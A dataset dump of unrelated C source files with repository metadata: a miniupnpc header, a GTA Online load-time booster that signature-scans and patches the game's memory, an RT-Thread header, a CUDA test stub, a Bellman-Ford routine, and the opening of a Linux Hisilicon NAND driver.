] | permissive | lidibupa/ClientServerMAME | 1457e13caf171ca5c19be73654eb7b4c20097ade | d0997a9b8ebc26e7518135526cb7583552675d95 | refs/heads/master | 2021-01-18T08:47:16.107337 | 2011-08-13T18:35:23 | 2011-08-13T18:35:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 502 | h | /* $Id: miniupnpcstrings.h.in,v 1.2 2009/10/30 09:18:18 nanard Exp $ */
/* Project: miniupnp
* http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
* Author: Thomas Bernard
* Copyright (c) 2005-2009 Thomas Bernard
* This software is subjects to the conditions detailed
* in the LICENCE file provided within this distribution */
#ifndef __MINIUPNPCSTRINGS_H__
#define __MINIUPNPCSTRINGS_H__
#define OS_STRING "MINGW32_NT-6.1/1.0.11(0.46/3/2)"
#define MINIUPNPC_VERSION_STRING "1.4"
#endif
| [
"jgmath2000@gmail.com"
] | jgmath2000@gmail.com |
5336b637956f6fed59c59afe8f2ab2f6844872bf | b655a8b3d606f0f27e11f3e41bb33ea3dda4103a | /sigs/sigs.c | b70ccba5a4554e3d4f2e71bfa20a8613e3a9d2ae | [
"WTFPL",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | nehls01/Universal_GTAO_Booster | accbe4497ebe6c272cb71d53dda0db4c83d7c980 | 03918bf17f38751320b4d09c8e00fbdd7dc147cf | refs/heads/master | 2023-03-18T05:29:00.711959 | 2021-03-12T15:51:06 | 2021-03-12T15:51:06 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 6,631 | c | #include "../headers.h"
VirtualFunction unkItemTransactionFunc = NULL;
NetCatalogueInsert netCatalogueInsertPtr = NULL;
Strlen originalStrlen = NULL;
HMODULE gtaHmod = NULL;
IMAGE_DOS_HEADER* gtaDosHeader = NULL;
IMAGE_NT_HEADERS* gtaNtHeader = NULL;
size_t gtaLen = 0;
uint8_t* netCatalogueInsertUniquePtr = NULL;
uint8_t* strlenPtr = NULL;
uint8_t* isSessionStartedPtr = NULL;
BOOL allPatternsFound = TRUE;
static void* gtaStart;
static uint8_t* gtaEnd;
char const* messageboxTitle = "Universal GTAO_Booster";
static char const* legalsName = "legals";
static char const* rsLogosName = "rsLogos";
static char const* netCatalogueInsertUniqueName = "netCatalogueInsertUnique";
static char const* strlenName = "strlen";
static char const* netCatalogueInsertName = "netCatalogueInsert";
static char const* isSessionStartedName = "isSessionStarted";
void *legalsPtr, *rsLogosPtr;
uint8_t aob[0xFF];
char mask[0xFF];
size_t sigByteCount(char const* sig) {
size_t count = 0;
for(size_t i = 0; sig[i]; ++i) {
if(sig[i] == ' ') {
++count;
}
}
return ++count;
}
int32_t hexCharToInt(char const c) {
if(c >= 'a' && c <= 'f') {
return (int32_t)c - 87;
}
if(c >= 'A' && c <= 'F') {
return (int32_t)c - 55;
}
if(c >= '0' && c <= '9') {
return (int32_t)c - 48;
}
return 0;
}
/*
takes two chars making up half of a byte each and turns them into a single byte
e.g. makeHexByteIntoChar('E', '8') returns 0xE8
*/
char makeHexByteIntoChar(char first, char second) {
return (char)(hexCharToInt(first) * 0x10 + hexCharToInt(second) & 0xFF);
}
void generateAob(char const* sig) {
size_t aobCursor = 0;
for(size_t sigCursor = 0; sigCursor <= strlen(sig);) {
if(sig[sigCursor] == '?') {
aob[aobCursor] = '?';
++aobCursor;
sigCursor += 2;
}
else if(sig[sigCursor] == ' ') {
++sigCursor;
}
else {
aob[aobCursor] = makeHexByteIntoChar(sig[sigCursor], sig[sigCursor + 1]);
++aobCursor;
sigCursor += 3;
}
}
}
void generateMask(char const* sig) {
size_t maskCursor = 0;
for(size_t sigCursor = 0; sigCursor < strlen(sig) - 1;) {
if(sig[sigCursor] == '?') {
mask[maskCursor] = '?';
++maskCursor;
sigCursor += 2;
}
else if(sig[sigCursor] == ' ') {
++sigCursor;
}
else {
mask[maskCursor] = 'x';
++maskCursor;
sigCursor += 3;
}
}
}
void zeroMemory(void* mem, size_t size) {
for(size_t i = 0; i < size; ++i) {
((char*)mem)[i] = 0;
}
}
void printDebugSigInfo(char const* sig) {
printf("sig : %s\naob : ", sig);
for(size_t i = 0; aob[i]; ++i) {
if(mask[i] == '?') {
printf("? ");
}
else {
printf("%02X ", (uint32_t)aob[i] & 0xFF);
}
}
printf("\nmask : ");
for(size_t i = 0; i < sigByteCount(sig); ++i) {
if(mask[i] == '?') {
printf("?");
}
else {
printf("x");
}
}
printf("\n");
}
void zeroAobAndMaskBuffers(void) {
zeroMemory(aob, 0xFF);
zeroMemory(mask, 0xFF);
}
void fillAobAndMaskBuffers(char const* sig) {
zeroAobAndMaskBuffers();
generateAob(sig);
generateMask(sig);
}
void notifyOnScanFailure(char const* name) {
logMsgColor(consoleBrightRedOnBlack, "Pattern '%s' failed.", name);
char buf[0xFF];
int result = sprintf_s(buf, sizeof(buf), "Pattern '%s' failed.", name);
if(result >= 0 && result <= (int32_t)sizeof(buf)) {
MessageBoxA(NULL, buf, messageboxTitle, 0);
}
else {
MessageBoxA(NULL, "Unknown pattern failed.\nPattern unknown because 'sprintf_s' also failed.", messageboxTitle, 0);
}
}
BOOL doesSigMatch(uint8_t const* scanCursor) {
for(size_t cursor = 0; cursor < strlen(mask); ++cursor) {
if(mask[cursor] != '?' && aob[cursor] != scanCursor[cursor]) {
return FALSE;
}
}
return TRUE;
}
uint8_t* scan(char const* name, char const* sig, int64_t offset) {
fillAobAndMaskBuffers(sig);
#ifdef ENABLE_DEBUG_PRINTS
printDebugSigInfo(sig);
#endif
uint8_t* scanEnd = gtaEnd - sigByteCount(sig);
for(uint8_t* scanCursor = gtaStart; scanCursor < scanEnd; ++scanCursor) {
if(doesSigMatch(scanCursor)) {
logMsgColor(consoleGrayOnBlack, "Found %s", name);
return scanCursor + offset;
}
}
notifyOnScanFailure(name);
allPatternsFound = FALSE;
return NULL;
}
uint8_t* rip(uint8_t* address) {
return address
? address + *(int32_t*)address + 4 // NOLINT(clang-diagnostic-cast-align) // intended behavior
: NULL;
}
void initGlobalVars(void) {
gtaHmod = GetModuleHandleA(NULL);
gtaDosHeader = (IMAGE_DOS_HEADER*)gtaHmod;
gtaNtHeader = (IMAGE_NT_HEADERS*)((char*)gtaHmod + gtaDosHeader->e_lfanew); // NOLINT(clang-diagnostic-cast-align)
gtaStart = (void*)gtaHmod;
gtaLen = gtaNtHeader->OptionalHeader.SizeOfImage;
gtaEnd = (uint8_t*)gtaStart + gtaLen;
logMsg("Variables initialized");
}
void vpMemcpy(void* destination, void* source, size_t size) {
DWORD protect;
VirtualProtect(destination, size, PAGE_EXECUTE_READWRITE, &protect);
memcpy(destination, source, size);
VirtualProtect(destination, size, protect, &protect);
}
void nop(void* addr, size_t bytesToNop) {
memset(addr, 0x90, bytesToNop);
}
void applyLegalAndLogoPatches(void) {
if(!shouldApplyLegalAndLogoPatches) {
logMsg("Skipped patching %s", legalsName);
logMsg("Skipped patching %s", rsLogosName);
return;
}
nop(legalsPtr, 2);
logMsg("Patched %s", legalsName);
uint8_t ret = 0xC3;
vpMemcpy(rsLogosPtr, &ret, sizeof(ret));
logMsg("Patched %s", rsLogosName);
}
#ifdef ENABLE_DEBUG_PRINTS
static const char* offsetFormatStr = "%s == 0x%llX | GTA5.exe + 0x%llX";
void logOffset(char const* name, void* address) {
logMsg(offsetFormatStr, name, (uint64_t)address, (uint64_t)address - (uint64_t)gtaStart);
}
void logOffsets(void) {
logMsg("GTA5.exe == 0x%llX\n", (uint64_t)gtaStart);
logOffset(netCatalogueInsertUniqueName, netCatalogueInsertUniquePtr);
logOffset(strlenName, strlenPtr);
logOffset(netCatalogueInsertName, netCatalogueInsertPtr); // NOLINT(clang-diagnostic-pedantic)
logOffset(isSessionStartedName, isSessionStartedPtr);
}
#endif
BOOL findSigs(void) {
initGlobalVars();
netCatalogueInsertUniquePtr = scan(netCatalogueInsertUniqueName, "4C 89 44 24 18 57 48 83 EC ? 48 8B FA", -0x5);
strlenPtr = rip(scan(strlenName, "48 3B C1 4C 8B C6", -0x11));
netCatalogueInsertPtr = (NetCatalogueInsert)rip(scan(netCatalogueInsertName, "3B D1 B0 01 0F 4E D1", -0x11)); // NOLINT(clang-diagnostic-cast-align)
isSessionStartedPtr = rip(scan(isSessionStartedName, "40 38 35 ? ? ? ? 74 ? 48 8B CF E8", 0x3));
legalsPtr = scan(legalsName, "66 0F 6E 04 81", 0x13);
rsLogosPtr = rip(scan(rsLogosName, "45 33 C9 C6 44 24 20 01 48 89", -0x12));
#ifdef ENABLE_DEBUG_PRINTS
logOffsets();
#endif
return allPatternsFound;
}
| [
"timothy.quick.us.il@gmail.com"
] | timothy.quick.us.il@gmail.com |
d6d01ad9a8e31aebeb6e9b828c68e2e9efbc6c50 | 2f8598fd68531c9942e12ee0f404aea04a8a3481 | /STM32F429Discovery/Driver/System/getThreadInfo.h | 5919d8c7d3efbc06ed5ae50d693aa62cbe0ce108 | [] | no_license | houjunzyt/GraduationProject | 851c33d24d9355b7eb27982767aa32f6c092d505 | eb4b506c1451d68c1eba15bb6bc85d03bd9d6ce7 | refs/heads/master | 2020-04-25T07:57:11.368504 | 2019-06-01T11:44:42 | 2019-06-01T11:44:42 | 172,630,000 | 2 | 1 | null | null | null | null | GB18030 | C | false | false | 647 | h | #ifndef _GETTHREADINFO_H_
#define _GETTHREADINFO_H_
#include "board.h"
#include "rtthread.h"
#include "stm32f4xx.h"
#include <rthw.h>
#include <string.h>
#include <stdio.h>
#define LIST_FIND_OBJ_NR 8
typedef struct
{
rt_list_t *list;
rt_list_t **array;
rt_uint8_t type;
int nr;
int nr_out;
} list_get_next_t;
typedef struct
{
char name[RT_NAME_MAX]; //线程名字
rt_uint8_t stat; //线程状态
rt_uint8_t current_priority; //线程优先级
rt_uint8_t num; //线程个数
} RT_Thread_Info;
void list_thread(RT_Thread_Info *user_thread );
#endif
| [
"1562335917@qq.com"
] | 1562335917@qq.com |
098b1adaee17767854da41d4a7debaf0b677d1aa | 4175672b185d23f1001d2ea5049cd66ddc1f7335 | /creal_source/cuda/crea_nodes/testing_nodeJson.c | 3b39fcf33e30340a2be7b6e3a7e6ba9735b687f6 | [] | no_license | CREALDEV/CREAL-Source-File | ea278caaac975b458275cb5e48464e134e6f11ef | eaff9ecea3383e6ad40664182f7e85066270df71 | refs/heads/master | 2016-09-13T04:00:41.857324 | 2016-04-14T23:10:02 | 2016-04-14T23:10:02 | 56,274,270 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 710 | c | #include <stdio.h> //standard library
#include "/usr/include/linux/cuda.h" //cuda library
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include "libcudacreal.h" //a json parser that is fast and efficient
crea_node addValue(int *N)
{
crea_node nodeT = returnCreaNodeMemHost(2);
nodeT[0].value = 9;
nodeT[1].value = 9;
//~ *nodeT =
//~ nodeT[0]->value = 9;
*N = 450;
return nodeT;
}
int main(void)
{
int hello = 0;
//~ crea_node mainNodes = addValue(&hello);
crea_node mainNodes = creatCreaNodes("jsonTest.json",&hello);
//~ int N = creatCreaNodes("jsonTest.json",&hello);
printf("%d\n",hello);
//~ if ( N < 0) {puts("FAILED");}
return 0;
}
| [
"randallwhite@lbl.gov"
] | randallwhite@lbl.gov |
273c2d25ee68f08687c6e38539738169efb999ae | 150d50b0d1cea5b6bc7488a9703914e1d99b2fe2 | /src/bf.c | 4d811617372e1167dfb32b706778165851843919 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | bartlomiejbloniarz/cherkassky_goldberg_radzik | 67b0fb1ecc9c1f4f5ab67016df51a6a3373fb2ed | cf72bb0111e1ff3576aabf2cc3c5aa7b3ceb6c2d | refs/heads/master | 2022-05-10T16:59:49.631099 | 2017-06-10T10:52:40 | 2017-06-10T10:52:40 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,102 | c | void bf ( n, nodes, source )
long n; /* number of nodes */
node *nodes, /* pointer to the first node */
*source; /* pointer to the source */
{
#define NNULL (node*)NULL
#define VERY_FAR 1073741823
/* ----- queues definitions ----- */
node *begin,
*end;
/* status of node regarding to queue */
#define IN_QUEUE 0
#define OUT_OF_QUEUE 1
#define INIT_QUEUE(source)\
{\
begin = end = source;\
source -> next = NNULL;\
source -> status = IN_QUEUE;\
}
#define NONEMPTY_QUEUE ( begin != NNULL )
#define NODE_IN_QUEUE(node) ( node -> status == IN_QUEUE )
#define EXTRACT_FIRST(node)\
{\
node = begin;\
node -> status = OUT_OF_QUEUE;\
begin = begin -> next;\
}
#define INSERT_TO_QUEUE(node)\
{\
if ( begin == NNULL )\
begin = node;\
else\
end -> next = node;\
\
end = node;\
end -> next = NNULL;\
node -> status = IN_QUEUE;\
}\
/* -------------------------------------- */
long dist_new,
dist_from;
node *node_from,
*node_to,
*node_last,
*i;
arc *arc_ij,
*arc_last;
long num_scans = 0;
/* initialization */
node_last = nodes + n ;
for ( i = nodes; i != node_last; i ++ )
{
i -> parent = NNULL;
i -> dist = VERY_FAR;
i -> status = OUT_OF_QUEUE;
}
source -> parent = source;
source -> dist = 0;
INIT_QUEUE (source)
/* main loop */
while ( NONEMPTY_QUEUE )
{
num_scans ++;
EXTRACT_FIRST ( node_from )
arc_last = ( node_from + 1 ) -> first;
dist_from = node_from -> dist;
for ( arc_ij = node_from -> first; arc_ij != arc_last; arc_ij ++ )
{ /* scanning arcs outgoing from node_from */
node_to = arc_ij -> head;
dist_new = dist_from + ( arc_ij -> len );
if ( dist_new < node_to -> dist )
{
node_to -> dist = dist_new;
node_to -> parent = node_from;
if ( ! NODE_IN_QUEUE ( node_to ) )
INSERT_TO_QUEUE ( node_to )
}
} /* end of scanning node_from */
} /* end of the main loop */
n_scans = num_scans;
}
| [
"skvadrik@gmail.com"
] | skvadrik@gmail.com |
1f13d7aaa788f39d7c7d2a1a27045e442e608350 | de8c0ea84980b6d9bb6e3e23b87e6066a65f4995 | /3pp/linux/drivers/mtd/nand/raw/hisi504_nand.c | 0b48be54ba6f211e81cf1696613ee96f9e5bb83c | [
"MIT",
"Linux-syscall-note",
"GPL-2.0-only"
] | permissive | eerimoq/monolinux-example-project | 7cc19c6fc179a6d1fd3ec60f383f906b727e6715 | 57c4c2928b11cc04db59fb5ced962762099a9895 | refs/heads/master | 2021-02-08T10:57:58.215466 | 2020-07-02T08:04:25 | 2020-07-02T08:04:25 | 244,144,570 | 6 | 0 | MIT | 2020-07-02T08:15:50 | 2020-03-01T12:24:47 | C | UTF-8 | C | false | false | 23,721 | c | // SPDX-License-Identifier: GPL-2.0-or-later
/*
* Hisilicon NAND Flash controller driver
*
* Copyright © 2012-2014 HiSilicon Technologies Co., Ltd.
* http://www.hisilicon.com
*
* Author: Zhou Wang <wangzhou.bry@gmail.com>
* The initial developer of the original code is Zhiyong Cai
* <caizhiyong@huawei.com>
*/
#include <linux/of.h>
#include <linux/mtd/mtd.h>
#include <linux/sizes.h>
#include <linux/clk.h>
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/delay.h>
#include <linux/interrupt.h>
#include <linux/mtd/rawnand.h>
#include <linux/dma-mapping.h>
#include <linux/platform_device.h>
#include <linux/mtd/partitions.h>
#define HINFC504_MAX_CHIP (4)
#define HINFC504_W_LATCH (5)
#define HINFC504_R_LATCH (7)
#define HINFC504_RW_LATCH (3)
#define HINFC504_NFC_TIMEOUT (2 * HZ)
#define HINFC504_NFC_PM_TIMEOUT (1 * HZ)
#define HINFC504_NFC_DMA_TIMEOUT (5 * HZ)
#define HINFC504_CHIP_DELAY (25)
#define HINFC504_REG_BASE_ADDRESS_LEN (0x100)
#define HINFC504_BUFFER_BASE_ADDRESS_LEN (2048 + 128)
#define HINFC504_ADDR_CYCLE_MASK 0x4
#define HINFC504_CON 0x00
#define HINFC504_CON_OP_MODE_NORMAL BIT(0)
#define HINFC504_CON_PAGEISZE_SHIFT (1)
#define HINFC504_CON_PAGESIZE_MASK (0x07)
#define HINFC504_CON_BUS_WIDTH BIT(4)
#define HINFC504_CON_READY_BUSY_SEL BIT(8)
#define HINFC504_CON_ECCTYPE_SHIFT (9)
#define HINFC504_CON_ECCTYPE_MASK (0x07)
#define HINFC504_PWIDTH 0x04
#define SET_HINFC504_PWIDTH(_w_lcnt, _r_lcnt, _rw_hcnt) \
((_w_lcnt) | (((_r_lcnt) & 0x0F) << 4) | (((_rw_hcnt) & 0x0F) << 8))
#define HINFC504_CMD 0x0C
#define HINFC504_ADDRL 0x10
#define HINFC504_ADDRH 0x14
#define HINFC504_DATA_NUM 0x18
#define HINFC504_OP 0x1C
#define HINFC504_OP_READ_DATA_EN BIT(1)
#define HINFC504_OP_WAIT_READY_EN BIT(2)
#define HINFC504_OP_CMD2_EN BIT(3)
#define HINFC504_OP_WRITE_DATA_EN BIT(4)
#define HINFC504_OP_ADDR_EN BIT(5)
#define HINFC504_OP_CMD1_EN BIT(6)
#define HINFC504_OP_NF_CS_SHIFT (7)
#define HINFC504_OP_NF_CS_MASK (3)
#define HINFC504_OP_ADDR_CYCLE_SHIFT (9)
#define HINFC504_OP_ADDR_CYCLE_MASK (7)
#define HINFC504_STATUS 0x20
#define HINFC504_READY BIT(0)
#define HINFC504_INTEN 0x24
#define HINFC504_INTEN_DMA BIT(9)
#define HINFC504_INTEN_UE BIT(6)
#define HINFC504_INTEN_CE BIT(5)
#define HINFC504_INTS 0x28
#define HINFC504_INTS_DMA BIT(9)
#define HINFC504_INTS_UE BIT(6)
#define HINFC504_INTS_CE BIT(5)
#define HINFC504_INTCLR 0x2C
#define HINFC504_INTCLR_DMA BIT(9)
#define HINFC504_INTCLR_UE BIT(6)
#define HINFC504_INTCLR_CE BIT(5)
#define HINFC504_ECC_STATUS 0x5C
#define HINFC504_ECC_16_BIT_SHIFT 12
#define HINFC504_DMA_CTRL 0x60
#define HINFC504_DMA_CTRL_DMA_START BIT(0)
#define HINFC504_DMA_CTRL_WE BIT(1)
#define HINFC504_DMA_CTRL_DATA_AREA_EN BIT(2)
#define HINFC504_DMA_CTRL_OOB_AREA_EN BIT(3)
#define HINFC504_DMA_CTRL_BURST4_EN BIT(4)
#define HINFC504_DMA_CTRL_BURST8_EN BIT(5)
#define HINFC504_DMA_CTRL_BURST16_EN BIT(6)
#define HINFC504_DMA_CTRL_ADDR_NUM_SHIFT (7)
#define HINFC504_DMA_CTRL_ADDR_NUM_MASK (1)
#define HINFC504_DMA_CTRL_CS_SHIFT (8)
#define HINFC504_DMA_CTRL_CS_MASK (0x03)
#define HINFC504_DMA_ADDR_DATA 0x64
#define HINFC504_DMA_ADDR_OOB 0x68
#define HINFC504_DMA_LEN 0x6C
#define HINFC504_DMA_LEN_OOB_SHIFT (16)
#define HINFC504_DMA_LEN_OOB_MASK (0xFFF)
#define HINFC504_DMA_PARA 0x70
#define HINFC504_DMA_PARA_DATA_RW_EN BIT(0)
#define HINFC504_DMA_PARA_OOB_RW_EN BIT(1)
#define HINFC504_DMA_PARA_DATA_EDC_EN BIT(2)
#define HINFC504_DMA_PARA_OOB_EDC_EN BIT(3)
#define HINFC504_DMA_PARA_DATA_ECC_EN BIT(4)
#define HINFC504_DMA_PARA_OOB_ECC_EN BIT(5)
#define HINFC_VERSION 0x74
#define HINFC504_LOG_READ_ADDR 0x7C
#define HINFC504_LOG_READ_LEN 0x80
#define HINFC504_NANDINFO_LEN 0x10
struct hinfc_host {
struct nand_chip chip;
struct device *dev;
void __iomem *iobase;
void __iomem *mmio;
struct completion cmd_complete;
unsigned int offset;
unsigned int command;
int chipselect;
unsigned int addr_cycle;
u32 addr_value[2];
u32 cache_addr_value[2];
char *buffer;
dma_addr_t dma_buffer;
dma_addr_t dma_oob;
int version;
unsigned int irq_status; /* interrupt status */
};
static inline unsigned int hinfc_read(struct hinfc_host *host, unsigned int reg)
{
return readl(host->iobase + reg);
}
static inline void hinfc_write(struct hinfc_host *host, unsigned int value,
unsigned int reg)
{
writel(value, host->iobase + reg);
}
static void wait_controller_finished(struct hinfc_host *host)
{
unsigned long timeout = jiffies + HINFC504_NFC_TIMEOUT;
int val;
while (time_before(jiffies, timeout)) {
val = hinfc_read(host, HINFC504_STATUS);
if (host->command == NAND_CMD_ERASE2) {
/* nfc is ready */
while (!(val & HINFC504_READY)) {
usleep_range(500, 1000);
val = hinfc_read(host, HINFC504_STATUS);
}
return;
}
if (val & HINFC504_READY)
return;
}
/* wait cmd timeout */
dev_err(host->dev, "Wait NAND controller exec cmd timeout.\n");
}
static void hisi_nfc_dma_transfer(struct hinfc_host *host, int todev)
{
struct nand_chip *chip = &host->chip;
struct mtd_info *mtd = nand_to_mtd(chip);
unsigned long val;
int ret;
hinfc_write(host, host->dma_buffer, HINFC504_DMA_ADDR_DATA);
hinfc_write(host, host->dma_oob, HINFC504_DMA_ADDR_OOB);
if (chip->ecc.mode == NAND_ECC_NONE) {
hinfc_write(host, ((mtd->oobsize & HINFC504_DMA_LEN_OOB_MASK)
<< HINFC504_DMA_LEN_OOB_SHIFT), HINFC504_DMA_LEN);
hinfc_write(host, HINFC504_DMA_PARA_DATA_RW_EN
| HINFC504_DMA_PARA_OOB_RW_EN, HINFC504_DMA_PARA);
} else {
if (host->command == NAND_CMD_READOOB)
hinfc_write(host, HINFC504_DMA_PARA_OOB_RW_EN
| HINFC504_DMA_PARA_OOB_EDC_EN
| HINFC504_DMA_PARA_OOB_ECC_EN, HINFC504_DMA_PARA);
else
hinfc_write(host, HINFC504_DMA_PARA_DATA_RW_EN
| HINFC504_DMA_PARA_OOB_RW_EN
| HINFC504_DMA_PARA_DATA_EDC_EN
| HINFC504_DMA_PARA_OOB_EDC_EN
| HINFC504_DMA_PARA_DATA_ECC_EN
| HINFC504_DMA_PARA_OOB_ECC_EN, HINFC504_DMA_PARA);
}
val = (HINFC504_DMA_CTRL_DMA_START | HINFC504_DMA_CTRL_BURST4_EN
| HINFC504_DMA_CTRL_BURST8_EN | HINFC504_DMA_CTRL_BURST16_EN
| HINFC504_DMA_CTRL_DATA_AREA_EN | HINFC504_DMA_CTRL_OOB_AREA_EN
| ((host->addr_cycle == 4 ? 1 : 0)
<< HINFC504_DMA_CTRL_ADDR_NUM_SHIFT)
| ((host->chipselect & HINFC504_DMA_CTRL_CS_MASK)
<< HINFC504_DMA_CTRL_CS_SHIFT));
if (todev)
val |= HINFC504_DMA_CTRL_WE;
init_completion(&host->cmd_complete);
hinfc_write(host, val, HINFC504_DMA_CTRL);
ret = wait_for_completion_timeout(&host->cmd_complete,
HINFC504_NFC_DMA_TIMEOUT);
if (!ret) {
dev_err(host->dev, "DMA operation(irq) timeout!\n");
/* sanity check */
val = hinfc_read(host, HINFC504_DMA_CTRL);
if (!(val & HINFC504_DMA_CTRL_DMA_START))
dev_err(host->dev, "DMA is already done but without irq ACK!\n");
else
dev_err(host->dev, "DMA is really timeout!\n");
}
}
static int hisi_nfc_send_cmd_pageprog(struct hinfc_host *host)
{
host->addr_value[0] &= 0xffff0000;
hinfc_write(host, host->addr_value[0], HINFC504_ADDRL);
hinfc_write(host, host->addr_value[1], HINFC504_ADDRH);
hinfc_write(host, NAND_CMD_PAGEPROG << 8 | NAND_CMD_SEQIN,
HINFC504_CMD);
hisi_nfc_dma_transfer(host, 1);
return 0;
}
static int hisi_nfc_send_cmd_readstart(struct hinfc_host *host)
{
struct mtd_info *mtd = nand_to_mtd(&host->chip);
if ((host->addr_value[0] == host->cache_addr_value[0]) &&
(host->addr_value[1] == host->cache_addr_value[1]))
return 0;
host->addr_value[0] &= 0xffff0000;
hinfc_write(host, host->addr_value[0], HINFC504_ADDRL);
hinfc_write(host, host->addr_value[1], HINFC504_ADDRH);
hinfc_write(host, NAND_CMD_READSTART << 8 | NAND_CMD_READ0,
HINFC504_CMD);
hinfc_write(host, 0, HINFC504_LOG_READ_ADDR);
hinfc_write(host, mtd->writesize + mtd->oobsize,
HINFC504_LOG_READ_LEN);
hisi_nfc_dma_transfer(host, 0);
host->cache_addr_value[0] = host->addr_value[0];
host->cache_addr_value[1] = host->addr_value[1];
return 0;
}
static int hisi_nfc_send_cmd_erase(struct hinfc_host *host)
{
hinfc_write(host, host->addr_value[0], HINFC504_ADDRL);
hinfc_write(host, (NAND_CMD_ERASE2 << 8) | NAND_CMD_ERASE1,
HINFC504_CMD);
hinfc_write(host, HINFC504_OP_WAIT_READY_EN
| HINFC504_OP_CMD2_EN
| HINFC504_OP_CMD1_EN
| HINFC504_OP_ADDR_EN
| ((host->chipselect & HINFC504_OP_NF_CS_MASK)
<< HINFC504_OP_NF_CS_SHIFT)
| ((host->addr_cycle & HINFC504_OP_ADDR_CYCLE_MASK)
<< HINFC504_OP_ADDR_CYCLE_SHIFT),
HINFC504_OP);
wait_controller_finished(host);
return 0;
}
static int hisi_nfc_send_cmd_readid(struct hinfc_host *host)
{
hinfc_write(host, HINFC504_NANDINFO_LEN, HINFC504_DATA_NUM);
hinfc_write(host, NAND_CMD_READID, HINFC504_CMD);
hinfc_write(host, 0, HINFC504_ADDRL);
hinfc_write(host, HINFC504_OP_CMD1_EN | HINFC504_OP_ADDR_EN
| HINFC504_OP_READ_DATA_EN
| ((host->chipselect & HINFC504_OP_NF_CS_MASK)
<< HINFC504_OP_NF_CS_SHIFT)
| 1 << HINFC504_OP_ADDR_CYCLE_SHIFT, HINFC504_OP);
wait_controller_finished(host);
return 0;
}
static int hisi_nfc_send_cmd_status(struct hinfc_host *host)
{
hinfc_write(host, HINFC504_NANDINFO_LEN, HINFC504_DATA_NUM);
hinfc_write(host, NAND_CMD_STATUS, HINFC504_CMD);
hinfc_write(host, HINFC504_OP_CMD1_EN
| HINFC504_OP_READ_DATA_EN
| ((host->chipselect & HINFC504_OP_NF_CS_MASK)
<< HINFC504_OP_NF_CS_SHIFT),
HINFC504_OP);
wait_controller_finished(host);
return 0;
}
static int hisi_nfc_send_cmd_reset(struct hinfc_host *host, int chipselect)
{
hinfc_write(host, NAND_CMD_RESET, HINFC504_CMD);
hinfc_write(host, HINFC504_OP_CMD1_EN
| ((chipselect & HINFC504_OP_NF_CS_MASK)
<< HINFC504_OP_NF_CS_SHIFT)
| HINFC504_OP_WAIT_READY_EN,
HINFC504_OP);
wait_controller_finished(host);
return 0;
}
static void hisi_nfc_select_chip(struct nand_chip *chip, int chipselect)
{
struct hinfc_host *host = nand_get_controller_data(chip);
if (chipselect < 0)
return;
host->chipselect = chipselect;
}
static uint8_t hisi_nfc_read_byte(struct nand_chip *chip)
{
struct hinfc_host *host = nand_get_controller_data(chip);
if (host->command == NAND_CMD_STATUS)
return *(uint8_t *)(host->mmio);
host->offset++;
if (host->command == NAND_CMD_READID)
return *(uint8_t *)(host->mmio + host->offset - 1);
return *(uint8_t *)(host->buffer + host->offset - 1);
}
static void
hisi_nfc_write_buf(struct nand_chip *chip, const uint8_t *buf, int len)
{
struct hinfc_host *host = nand_get_controller_data(chip);
memcpy(host->buffer + host->offset, buf, len);
host->offset += len;
}
static void hisi_nfc_read_buf(struct nand_chip *chip, uint8_t *buf, int len)
{
struct hinfc_host *host = nand_get_controller_data(chip);
memcpy(buf, host->buffer + host->offset, len);
host->offset += len;
}
static void set_addr(struct mtd_info *mtd, int column, int page_addr)
{
struct nand_chip *chip = mtd_to_nand(mtd);
struct hinfc_host *host = nand_get_controller_data(chip);
unsigned int command = host->command;
host->addr_cycle = 0;
host->addr_value[0] = 0;
host->addr_value[1] = 0;
/* Serially input address */
if (column != -1) {
/* Adjust columns for 16 bit buswidth */
if (chip->options & NAND_BUSWIDTH_16 &&
!nand_opcode_8bits(command))
column >>= 1;
host->addr_value[0] = column & 0xffff;
host->addr_cycle = 2;
}
if (page_addr != -1) {
host->addr_value[0] |= (page_addr & 0xffff)
<< (host->addr_cycle * 8);
host->addr_cycle += 2;
if (chip->options & NAND_ROW_ADDR_3) {
host->addr_cycle += 1;
if (host->command == NAND_CMD_ERASE1)
host->addr_value[0] |= ((page_addr >> 16) & 0xff) << 16;
else
host->addr_value[1] |= ((page_addr >> 16) & 0xff);
}
}
}
static void hisi_nfc_cmdfunc(struct nand_chip *chip, unsigned command,
int column, int page_addr)
{
struct mtd_info *mtd = nand_to_mtd(chip);
struct hinfc_host *host = nand_get_controller_data(chip);
int is_cache_invalid = 1;
unsigned int flag = 0;
host->command = command;
switch (command) {
case NAND_CMD_READ0:
case NAND_CMD_READOOB:
if (command == NAND_CMD_READ0)
host->offset = column;
else
host->offset = column + mtd->writesize;
is_cache_invalid = 0;
set_addr(mtd, column, page_addr);
hisi_nfc_send_cmd_readstart(host);
break;
case NAND_CMD_SEQIN:
host->offset = column;
set_addr(mtd, column, page_addr);
break;
case NAND_CMD_ERASE1:
set_addr(mtd, column, page_addr);
break;
case NAND_CMD_PAGEPROG:
hisi_nfc_send_cmd_pageprog(host);
break;
case NAND_CMD_ERASE2:
hisi_nfc_send_cmd_erase(host);
break;
case NAND_CMD_READID:
host->offset = column;
memset(host->mmio, 0, 0x10);
hisi_nfc_send_cmd_readid(host);
break;
case NAND_CMD_STATUS:
flag = hinfc_read(host, HINFC504_CON);
if (chip->ecc.mode == NAND_ECC_HW)
hinfc_write(host,
flag & ~(HINFC504_CON_ECCTYPE_MASK <<
HINFC504_CON_ECCTYPE_SHIFT), HINFC504_CON);
host->offset = 0;
memset(host->mmio, 0, 0x10);
hisi_nfc_send_cmd_status(host);
hinfc_write(host, flag, HINFC504_CON);
break;
case NAND_CMD_RESET:
hisi_nfc_send_cmd_reset(host, host->chipselect);
break;
default:
dev_err(host->dev, "Error: unsupported cmd(cmd=%x, col=%x, page=%x)\n",
command, column, page_addr);
}
if (is_cache_invalid) {
host->cache_addr_value[0] = ~0;
host->cache_addr_value[1] = ~0;
}
}
static irqreturn_t hinfc_irq_handle(int irq, void *devid)
{
struct hinfc_host *host = devid;
